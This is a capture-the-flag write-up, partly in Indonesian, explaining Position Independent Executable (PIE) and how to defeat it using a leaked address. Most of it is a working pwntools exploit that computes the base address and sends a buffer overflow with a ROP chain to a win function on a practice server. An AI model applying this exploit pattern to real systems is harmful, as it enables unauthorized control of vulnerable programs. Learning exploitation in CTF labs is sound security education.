Mitigasi lain untuk menyusahkan penyerang dalam mengubah alur program adalah PIE. PIE adalah singkatan dari Position Independent Executable yang mengakibatkan program kita untuk di-load ke dalam memori dengan offset random. Jadi walaupun ada buffer overflow, penyerang tidak tau alamat dari fungsi/instruksi yang ingin dijalankan. Tapi, kalau kita bisa dapetin salah satu alamat dari program saat dijalankan, alamat dari fungsi/instruksi yang ingin dijalankan tinggal dihitung dari selisihnya dengan alamat yang udah didapetin tadi.
First time learning PIE, and this challenge is a simple introduction to PIE. The goal is to buffer overflow but with PIE in mind. First step is to use the given leak to get PIE, since it's a global variable it's very easy to find the offset. (see 0x404c <what_is_this_for>)
Main function debug
Just subtract the leaked address with -0x404c and we get the base address for ROP:
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ret2win --host playground.tcp1p.team --port 19003
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'ret2win')
context.terminal = ['tmux', 'splitw', '-h']
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or 'playground.tcp1p.team'
port = int(args.PORT or 19003)
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: PIE enabled
# SHSTK: Enabled
# IBT: Enabled
# Stripped: No
io = start()
log.info(io.recvuntil(': '))
leak = int(io.recvline(), 16)
log.success(f"Gifted address: {hex(leak)}")
base_addr = leak - 0x000000000000404c
log.success(f"Base address: {hex(base_addr)}")
log.info(io.clean())
payload = b'A' * 120
payload += p64(base_addr + 0x000000000000101a) # ret
payload += p64(base_addr + 0x0000000000001209) # win
log.success(f"Payload: {payload}")
log.info(io.clean())
io.sendline(payload)
io.interactive()
